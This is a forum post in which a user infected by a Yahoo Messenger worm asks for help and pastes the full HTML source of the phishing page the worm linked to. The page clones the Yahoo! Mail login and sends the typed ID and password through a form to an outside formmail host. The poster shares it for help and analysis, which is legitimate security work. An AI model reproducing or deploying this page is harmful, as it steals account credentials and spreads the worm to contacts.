infection through yahoo messenger by using javascript
I recieved a msg from a buddy (also infected with this code), and my mistake that I clicked on it. Anyhow it executed some code in the background, which I have been doing some research but unfortunately not sure of what else it has done.
I do know that it sent out the same message to everyone in my buddy list. The message was to go to that site.
Any help is appreciated.
Thank you in advance!
Code:
<FORM METHOD=POST ACTION="http://sonnefesim.freewebpage.org/cgi-bin/home/formmail/sonnefesim">
<INPUT TYPE="HIDDEN" NAME="account" VALUE="sonnefesim">
<INPUT TYPE="HIDDEN" NAME="cata" VALUE="accounts">
<html>
<body>
<script language="javascript">
<!--
hasMsgr = 0;
function dontGotIt(){
hasMsgr = 0;
document.login_form.hasMsgr.value=0;
}
function doGotIt(){
hasMsgr = 1;
document.login_form.hasMsgr.value=1;
}
//-->
</script>
<script language="javascript">
/*
* A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Digest Algorithm, as defined in RFC 1321.
* Copyright (C) Paul Johnston 1999 - 2000.
* Updated by Greg Holt 2000 - 2001.
* See http://pajhome.org.uk/site/legal.html for details.
*/
/*
* Convert a 32-bit number to a hex string with ls-byte first
*/
var hex_chr = "0123456789abcdef";
function rhex(num)
{
str = "";
for(j = 0; j <= 3; j++)
str += hex_chr.charAt((num >> (j * 8 + 4)) & 0x0F) +
hex_chr.charAt((num >> (j * 8)) & 0x0F);
return str;
}
/*
* Convert a string to a sequence of 16-word blocks, stored as an array.
* Append padding bits and the length, as described in the MD5 standard.
*/
function str2blks_MD5(str)
{
nblk = ((str.length + 8) >> 6) + 1;
blks = new Array(nblk * 16);
for(i = 0; i < nblk * 16; i++) blks[i] = 0;
for(i = 0; i < str.length; i++)
blks[i >> 2] |= str.charCodeAt(i) << ((i % 4) * 8);
blks[i >> 2] |= 0x80 << ((i % 4) * 8);
blks[nblk * 16 - 2] = str.length * 8;
return blks;
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function add(x, y)
{
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
/*
* Bitwise rotate a 32-bit number to the left
*/
function rol(num, cnt)
{
return (num << cnt) | (num >>> (32 - cnt));
}
/*
* These functions implement the basic operation for each round of the
* algorithm.
*/
function cmn(q, a, b, x, s, t)
{
return add(rol(add(add(a, q), add(x, t)), s), b);
}
function ff(a, b, c, d, x, s, t)
{
return cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function gg(a, b, c, d, x, s, t)
{
return cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function hh(a, b, c, d, x, s, t)
{
return cmn(b ^ c ^ d, a, b, x, s, t);
}
function ii(a, b, c, d, x, s, t)
{
return cmn(c ^ (b | (~d)), a, b, x, s, t);
}
/*
* Take a string and return the hex representation of its MD5.
*/
function MD5(str)
{
x = str2blks_MD5(str);
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
for(i = 0; i < x.length; i += 16)
{
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
a = ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = ff(c, d, a, b, x[i+ 2], 17, 606105819);
b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = ff(d, a, b, c, x[i+ 5], 12, 1200080426);
c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = ff(c, d, a, b, x[i+10], 17, -42063);
b = ff(b, c, d, a, x[i+11], 22, -1990404162);
a = ff(a, b, c, d, x[i+12], 7 , 1804603682);
d = ff(d, a, b, c, x[i+13], 12, -40341101);
c = ff(c, d, a, b, x[i+14], 17, -1502002290);
b = ff(b, c, d, a, x[i+15], 22, 1236535329);
a = gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = gg(c, d, a, b, x[i+11], 14, 643717713);
b = gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = gg(d, a, b, c, x[i+10], 9 , 38016083);
c = gg(c, d, a, b, x[i+15], 14, -660478335);
b = gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = gg(a, b, c, d, x[i+ 9], 5 , 568446438);
d = gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = gg(b, c, d, a, x[i+ 8], 20, 1163531501);
a = gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = gg(c, d, a, b, x[i+ 7], 14, 1735328473);
b = gg(b, c, d, a, x[i+12], 20, -1926607734);
a = hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = hh(c, d, a, b, x[i+11], 16, 1839030562);
b = hh(b, c, d, a, x[i+14], 23, -35309556);
a = hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = hh(d, a, b, c, x[i+ 4], 11, 1272893353);
c = hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = hh(b, c, d, a, x[i+10], 23, -1094730640);
a = hh(a, b, c, d, x[i+13], 4 , 681279174);
d = hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = hh(b, c, d, a, x[i+ 6], 23, 76029189);
a = hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = hh(d, a, b, c, x[i+12], 11, -421815835);
c = hh(c, d, a, b, x[i+15], 16, 530742520);
b = hh(b, c, d, a, x[i+ 2], 23, -995338651);
a = ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = ii(d, a, b, c, x[i+ 7], 10, 1126891415);
c = ii(c, d, a, b, x[i+14], 15, -1416354905);
b = ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = ii(a, b, c, d, x[i+12], 6 , 1700485571);
d = ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = ii(c, d, a, b, x[i+10], 15, -1051523);
b = ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
d = ii(d, a, b, c, x[i+15], 10, -30611744);
c = ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = ii(b, c, d, a, x[i+13], 21, 1309151649);
a = ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = ii(d, a, b, c, x[i+11], 10, -1120210379);
c = ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = ii(b, c, d, a, x[i+ 9], 21, -343485551);
a = add(a, olda);
b = add(b, oldb);
c = add(c, oldc);
d = add(d, oldd);
}
return rhex(a) + rhex(b) + rhex(c) + rhex(d);
}
function valid_js() {
// anything that claims NS 4 or higher functionality better work
if (navigator.userAgent.indexOf("Mozilla/") == 0) {
return (parseInt(navigator.appVersion) >= 4);
}
return false;
}
function hash(form,login_url) {
// this is Javascript enabled browser
//document.login_form[".js"].value=1;
// rudimentary check for a 4.x brower. should catch IE4+ and NS4.*
var url;
if (arguments.length > 1 && login_url != "") { // in case login_url is not passed in
url = login_url;
} else {
url = "http://login.yahoo.com/config/login";
}
url += "?";
if (valid_js()) {
var passwd = form.passwd.value;
var challenge = form[".challenge"].value;
var hash2 = MD5(form.passwd.value) + challenge;
var hash;
if(form.passwd.value){
hash=MD5(hash2);
} else {
hash="";
}
var js = 0;
for(i=0; i<form.elements.length; i++){
if(form.elements[i].name.length <=0) {
continue;
}
if(i > 0){
url += "&";
}
url += form.elements[i].name;
url += "=";
if(form.elements[i].name == "passwd"){
url += hash;
} else if (form.elements[i].type == "checkbox" && !form.elements[i].checked) {
url += "";
} else if (form.elements[i].type == "radio" && !form.elements[i].checked) {
url += "";
} else if (form.elements[i].name == ".save"){
url += "1"; // "Sign in" causes problem with the space
} else if (form.elements[i].name == ".js"){
js = 1;
url += "1";
} else {
url += escape(form.elements[i].value);
}
}
// indicate the password is hashed.
url += "&.hash=1";
if(js == 0){
url += "&.js=1";
}
url += "&.md5=1";
//alert("url=" + url);
location.href=url;
// prevent from running this again. Allow the server response to submit the form directly
form.onsubmit=null;
// abort normal form submission
return false;
}
// allow normal form submission
return true;
}
</script>
<center>
<table cellpadding="0" cellspacing="0" border="0" width="720">
<tr>
<td height="5" nowrap><spacer type="block" width="1" height="5">
</spacer>
</td>
</tr>
<tr>
<td>
<table cellspacing=0 cellpadding=0 width=100% border=0>
<tr>
<td width=1% align=left>
<table width=1% cellspacing=0 cellpadding=0 border=0>
<tr>
<td width=1% align=left nowrap><img src="http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif" width="196" height="33" border="0" alt="Yahoo! Mail"></td>
</tr>
</table>
</td>
<td width=100% align=right nowrap valign=bottom>
<table width=100% cellspacing=0 cellpadding=0 border=0>
<tr>
<td width=99% align=right nowrap valign=bottom><font face=Arial size=-1><a href="http://www.yahoo.com " target="www">Yahoo!</a> - <a href="http://help.yahoo.com/help/us/edit/" target="help">Help</a></font>
<br><hr size=1 noshade></td>
</tr>
</table>
</td>
<td align=right width="1%"> </td>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td height="5" nowrap><spacer type="block" width="1" height="5">
</spacer>
</td>
</tr>
</table>
<!-- Start: Main body -->
<table width="732" border="0" cellpadding="0" cellspacing="0" bgcolor="#B6C7E5">
<tr>
<td align="left" valign="top" width="12" nowrap><img name="login_r1_c1" src="http://us.i1.yimg.com/us.yimg.com/i/reg/login_r1_c1.gif" width="12" height="10" border="0" alt=""></td>
<td width="450" nowrap valign="top">
<!-- Start: Promo include here -->
<table border="0" cellpadding="0" cellspacing="0" width="450" bgcolor="#B6C7E5">
<tr>
<td width="15" nowrap><spacer type="block" width="15"></spacer>
</td>
<td width="197" align="right" valign="middle" class="headlineblue" nowrap><br>
Yahoo! Mail<br> helps
me<br> stay in touch.</td>
<td width="214" align="left" nowrap><img src="http://us.i1.yimg.com/us.yimg.com/i/reg/login_woman.jpg" width="195" height="130" alt=""></td>
<td width=24 nowrap><spacer type="block" width="20"></spacer>
</td>
</tr>
<tr>
<td colspan="4" bgcolor="#250175" width="450" height"8"><img src="http://us.i1.yimg.com/us.yimg.com/i/reg/login_blue_horiz.gif" width="450" height="8" alt=""></td>
</tr>
</table>
<table border="0" cellpadding="0" cellspacing="0" width="450" bgcolor="#B6C7E5">
<tr>
<td nowrap height="10" colspan="4"><spacer type=vertical size=20>
</spacer>
</td>
</tr>
<tr>
<td nowrap width="10"><spacer type="block" width="10"></spacer>
</td>
<td valign="top" class="bodyblue" width="276" nowrap align="left">
<span style="font-size: 18px; line-height: 22px; "><font style="font-size: 18px; line-height: 22px;">New to Yahoo!?</font></span><br>
<font class="bodyblue"><b>Get a free
<a href="http://us.rd.yahoo.com/reg/login0/no_suli/signup1_lhs/us/ym/*http://billing.mail.yahoo.com/bm/MailReg?.done=http%3A//mail.yahoo.com&.intl=us&.src=ym&.u=56moo0l1ecqjn&partner=&.p=&promo=&.last=" style="color: #7B0099;">
Yahoo! Mail</a> account</b> it's a breeze to stay connected and manage your busy life.</font>
<ul style="margin-left: 10px; padding-left: 10; margin-top: 10px;" >
<li style="margin-top: 6px;"><font class="bodyblue"><b>1GB of email storage</b><BR>Keep more of what's important to you </font></li>
<li style="margin-top: 6px;"><font class="bodyblue"><b>Powerful spam protection</b><BR>Read only the mail you really want </font></li>
<li style="margin-top: 6px;"><font class="bodyblue"><b>Get your mail anywhere</b><BR>All you need is a web connection</font></li>
<br>
<a href="http://us.rd.yahoo.com/reg/login/new_ym/us/*http://us.info.mail.yahoo.com/" style="color: #7B0099;"><font class="bodyblue">Learn More</font></a>
<a href="http://us.rd.yahoo.com/reg/login/new_ym/us/*http://tour.mail.yahoo.com/mailtour.html" style="color: #7B0099;" onclick="yg_popup('http://us.rd.yahoo.com/reg/login/new_ym/us/*http://tour.mail.yahoo.com/mailtour.html','y',700,450); return false" target="_blank"><font class="bodyblue">Take a Tour</font></a>
</ul>
<table border="0" align="center" cellpadding="0" cellspacing="0" height="95">
<tr>
<td width="60" align="left">
<a href="http://reviews.cnet.com/Yahoo_Mail/4505-9236_7-30980704.html?part=editchoice&subj=yahoomail" target="cnet"><img src="http://us.i1.yimg.com/us.yimg.com/i/reg/EC_aug04_47x95_2.gif" width="47" height="95" border="0" align="left" vspace="0" alt="CNET Editors' Choice"></a>
</td>
<td width="300" align="center">
<input type=hidden name=.src value="ym">
<input type=hidden name=.intl value="us">
<input type=hidden name=.done value="http://mail.yahoo.com">
<input type=hidden name=.u value="56moo0l1ecqjn">
<input type=hidden name=.v value="0">
<input type="submit" value="Sign Up Now" class="buttonpurple"></td>
</tr>
</table>
</td>
<td align="center" valign="top"><img src="http://us.i1.yimg.com/us.yimg.com/i/reg/login_divide1.gif" width="23" height="242" border=0></td>
<td valign="top" class="bodyblue"><br>
<b>Need more? Get <a href="http://us.rd.yahoo.com/mail_us/login/evt=19821/*http://mailplus.yahoo.com" style="color: #7B0099;">Yahoo! Mail Plus</a></b>.<br><br>
Mail Plus offers personalized spam protection, a virtually unlimited 2GB of
storage, POP access, and more for only <strong>$19.99/year</strong>.<br><br>
<a href="http://us.rd.yahoo.com/mail_us/login/evt=19821/*http://mailplus.mail.yahoo.com/help" style="color: #7B0099;">Learn more</a>
</td>
</tr>
</table>
<!-- End: Promo include here -->
</td>
<td width="10" nowrap><spacer type="block" width="10"></spacer>
</td>
<td width="250" nowrap valign="top">
<!-- Start: Login box include here -->
<table border="0" cellpadding="0" cellspacing="0" bgcolor="#5350B9" height=222 width="247">
<input type=hidden name=.tries value="1">
<input type=hidden name=.src value="ym">
<input type=hidden name=.md5 value="">
<input type=hidden name=.hash value="">
<input type=hidden name=.js value="">
<input type=hidden name=.last value="">
<input type=hidden name=promo value="">
<input type=hidden name=.intl value="us">
<input type=hidden name=.bypass value="">
<input type=hidden name=.partner value="">
<input type=hidden name=.u value="56moo0l1ecqjn">
<input type=hidden name=.v value="0">
<input type=hidden name=.challenge value="WgLcOZ7S9mUWnOnrxOrlVOPyRfpA">
<input type=hidden name=.yplus value="">
<input type=hidden name=.emailCode value="">
<input type=hidden name=pkg value="">
<input type=hidden name=stepid value="">
<input type=hidden name=.ev value="">
<input type=hidden name=hasMsgr value=0>
<input type=hidden name=.chkP value=Y>
<input type=hidden name=.done value="http://mail.yahoo.com">
<script language="javascript">
<!--
browser_string = navigator.appVersion + " " + navigator.userAgent;
if ( browser_string.indexOf("MSIE") < 0 ) {
if (navigator.mimeTypes) {
for (i = 0 ; i < navigator.mimeTypes.length ; i++) {
if (navigator.mimeTypes[i].suffixes.indexOf("yps") > -1) {
doGotIt();
}
}
} else {
dontGotIt();
}
} else {
if (browser_string.indexOf("Windows")>=0) {
doGotIt();
document.write('<object classid="clsid:41695A8E-6414-11D4-8FB3-00D0B7730277" CODEBASE="javascript:dontGotIt();" ID="Ymsgr" width="1" height="1">');
document.write('</object>');
}
}
//-->
</script>
<tr bgcolor="#B6C7E5">
<td height="23" width="247"><font face="Arial Narrow">Enter Your
Password to Open This File Please</font></td>
</tr>
<tr>
<!------------------ END login links ---------------------->
</tr>
<tr bgcolor="#B6C7E5">
<td height="148" width="247"><SPACER TYPE="vertical" SIZE="10"></spacer>
<p></p>
<p></p>
<p></p>
<p></p>
<p><BR>
Yahoo! ID:
<INPUT TYPE="TEXT" NAME="Your Name" size="24"><BR><BR>
Password:
<input name="passwd" style="width:130px" value="" type="password" size="20"><p>
<input type="checkbox" value="y" name=".persistent">Remember my ID on
this computer<BR>
<INPUT TYPE="submit" value="Sign In" name=".Save"> </td>
</tr>
</table>
<!-- End: Login box include here -->
</td>
<td align="right" valign="top" width="10"><img src="http://us.i1.yimg.com/us.yimg.com/i/reg/login_r1_c7.gif" width="10" height="10" border="0" alt=""></td>
</tr>
</table>
<table width="720" border="0" cellpadding="0" cellspacing="0" bgcolor="#B6C7E5">
<tr>
<td align="left" valign="bottom" width="10"><img src="http://us.i1.yimg.com/us.yimg.com/i/reg/login_r9_c1.gif" width="12" height="10" border="0" alt=""></td>
<td width="696" nowrap><spacer type="block" width="696"></spacer>
</td>
<td align="right" valign="bottom" width="10"><img src="http://us.i1.yimg.com/us.yimg.com/i/reg/login_r9_c7.gif" width="12" height="10" border="0" alt=""></td>
</tr>
</table>
<!-- End: Mail Body -->
<p>
<br>
<!-- login_footer -->
</p>
<table cellpadding="0" cellspacing="0" border="0" width="720">
<tr>
<td align=center>
<div align="center">
<table border=0 cellspacing=0 cellpadding=2 width=100%>
<tr>
<td align="center" colspan="2"><font face="arial" size="2"><strong><font color="red">New!</font></strong> PhotoMail from Yahoo! Mail is
available in Beta. <a href="http://photomail.mail.yahoo.com" target="new">Try it
today</a><br></font><br></td>
</tr>
<tr>
<td align="left" colspan=2><font face="Arial"><b>Yahoo! Mail for International Users</b></font>
</td>
</tr>
<tr>
<td valign=top align=right><small><font face="Arial" size="-2"><i>Europe</i> :</font></small></td>
<td valign=top><small><font face="Arial" size="-2"><a
href="http://eur.rd.yahoo.com/login/ym/*http://login.europe.yahoo.com/config/login?.intl=dk&.src=ym&.done=http://mail.yahoo.com">Danmark</a> - <a
href="http://eur.rd.yahoo.com/login/ym/*http://login.europe.yahoo.com/config/login?.intl=de&.src=ym&.done=http://mail.yahoo.com">Deutschland</a> - <a
href="http://eur.rd.yahoo.com/login/ym/*http://login.europe.yahoo.com/config/login?.intl=es&.src=ym&.done=http://mail.yahoo.com">España</a> - <a
href="http://eur.rd.yahoo.com/login/ym/*http://login.europe.yahoo.com/config/login?.intl=fr&.src=ym&.done=http://mail.yahoo.com">France</a> - <a
href="http://eur.rd.yahoo.com/login/ym/*http://login.europe.yahoo.com/config/login?.intl=gr&.src=ym&.done=http://mail.yahoo.com">Greece</a> - <a
href="http://eur.rd.yahoo.com/login/ym/*http://login.europe.yahoo.com/config/login?.intl=it&.src=ym&.done=http://mail.yahoo.com">Italia</a> - <a
href="http://eur.rd.yahoo.com/login/ym/*http://login.europe.yahoo.com/config/login?.intl=no&.src=ym&.done=http://mail.yahoo.com">Norge</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=pl&.src=ym&.done=http://mail.yahoo.com">Polska</a> - <a
href="http://eur.rd.yahoo.com/login/ym/*http://login.europe.yahoo.com/config/login?.intl=se&.src=ym&.done=http://mail.yahoo.com">Sverige</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=tr&.src=ym&.done=http://mail.yahoo.com">Türkiye</a> - <a
href="http://eur.rd.yahoo.com/login/ym/*http://login.europe.yahoo.com/config/login?.intl=uk&.src=ym&.done=http://mail.yahoo.com">UK</a> - <a
href="http://eur.rd.yahoo.com/login/ym/*http://login.europe.yahoo.com/config/login?.intl=ie&.src=ym&.done=http://mail.yahoo.com">Ireland</a>
</font></small></td>
</tr>
<tr>
<td valign=top align=right><small><font face="Arial" size="-2"><i>Pacific Rim</i>:</font></small></td>
<td valign=top><small><font face="Arial" size="-2"><a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=au&.src=ym&.done=http://mail.yahoo.com">Australia</a>/<a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=nz&.src=ym&.done=http://mail.yahoo.com">NZ</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=cn&.src=ym&.done=http://mail.yahoo.com">China</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=hk&.src=ym&.done=http://mail.yahoo.com">Hong Kong</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.india.yahoo.com/config/login?.intl=in&.src=ym&.done=http://mail.yahoo.com">India</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=id&.src=ym&.done=http://mail.yahoo.com">Indonesia</a> -
<a
href="http://us.rd.yahoo.com/login/ym/*http://mail.yahoo.co.jp/">Japan</a> -
<a
href="http://us.rd.yahoo.com/login/ym/*http://login.korea.yahoo.com/config/login?.intl=kr&.src=ym&.done=http://mail.yahoo.com">Korea</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=my&.src=ym&.done=http://mail.yahoo.com">Malaysia</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=ph&.src=ym&.done=http://mail.yahoo.com">Philippines</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=sg&.src=ym&.done=http://mail.yahoo.com">Singapore</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=th&.src=ym&.done=http://mail.yahoo.com">Thailand</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=tw&.src=ym&.done=http://mail.yahoo.com">Taiwan</a> - <a
href="http://us.rd.yahoo.com/login/ym/*http://login.yahoo.com/config/login?.intl=vn&.src=ym&.done=http://mail.yahoo.com">Việt Nam</a></font></small></td>
</tr>
<tr>
<td valign=top align=right><small><font face="Arial" size="-2"><i>Americas</i>:</font></small></td>
<td valign=top><small><font face="Arial" size="-2">
<a
href="http://us.rd.yahoo.com/login/ym/?http://login.yahoo.com/config/login?.intl=ar&.src=ym&.done=http://mail.yahoo.com">Argentina</a> - <a
href="http://us.rd.yahoo.com/login/ym/?http://login.yahoo.com/config/login?.intl=br&.src=ym&.done=http://mail.yahoo.com">Brasil</a> - <a
href="http://us.rd.yahoo.com/login/ym/?http://login.yahoo.com/config/login?.intl=ca&.src=ym&.done=http://mail.yahoo.com">Canada</a> - <a
href="http://us.rd.yahoo.com/login/ym/?http://login.yahoo.com/config/login?.intl=mx&.src=ym&.done=http://mail.yahoo.com">Mexico</a> - <a
href="http://us.rd.yahoo.com/login/ym/?http://login.yahoo.com/config/login?.intl=b5&.src=ym&.done=http://mail.yahoo.com">in Chinese</a> - <a
href="http://us.rd.yahoo.com/login/ym/?http://login.yahoo.com/config/login?.intl=e1&.src=ym&.done=http://mail.yahoo.com">en Español</a> -
<a href="http://us.rd.yahoo.com/login/ym/?http://login.yahoo.com/config/login?.intl=ru&.src=ym&.done=http://mail.yahoo.com">in Russian</a>
</font></small></td>
</tr>
</table></div>
</td>
<td></td>
</tr>
</table>
<!-- end login_footer -->
</center>
<center>
<hr width="750">
<table cellpadding="0" cellspacing="0" border="0" width="750" summary="Footer">
<tr>
<td align="center" class="footer">Copyright ? 2005 Yahoo! Inc. All rights reserved.
<a href="http://docs.yahoo.com/info/copyright/copyright.html" target="cp">Copyright/IP Policy</a> - <a href="http://docs.yahoo.com/info/terms/" target="tos">Terms of Service</a> - <a href="http://security.yahoo.com/" target="sc">Guide to Online Security</a><BR>
NOTICE: We collect personal information on this site.<BR>
To learn more about how we use your information, see our <a href="http://privacy.yahoo.com/" target="pp">Privacy Policy</a>
</td>
</tr>
<tr>
<td align="center">
</td>
</tr>
</table>
</table>
</center>
</body>
</html>
<script type="text/javascript">
if (window.yzq_a == null) document.write("<scr" + "ipt type=text/javascript src=http://us.js1.yimg.com/us.yimg.com/lib/bc/bc_1.7.0.js></scr" + "ipt>");
</script><script type="text/javascript">
if (window.yzq_a) yzq_a('p', 'P=j8xfOELaS7hEuPKaQt_REAAKUdeseULmancABUUm&T=13rvs1j3i%2fX%3d1122396791%2fE%3d150000863%2fR%3dregst%2fK%3d5%2fV%3d1.1%2fW%3d9%2fY%3dYAHOO%2fF%3d1757203904%2fS%3d1%2fJ%3d22A849D1');
if (window.yzq_gb && window.yzq4) yzq4();
else if (window.yzq_eh) yzq_eh();
</script><noscript><img width=1 height=1 alt="" src="http://bc.us.yahoo.com/b?P=j8xfOELaS7hEuPKaQt_REAAKUdeseULmancABUUm&T=13vmusm71%2fX%3d1122396791%2fE%3d150000863%2fR%3dregst%2fK%3d5%2fV%3d3.1%2fW%3d9%2fY%3dYAHOO%2fF%3d995428069%2fQ%3d-1%2fS%3d1%2fJ%3d22A849D1"></noscript>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
</FORM>
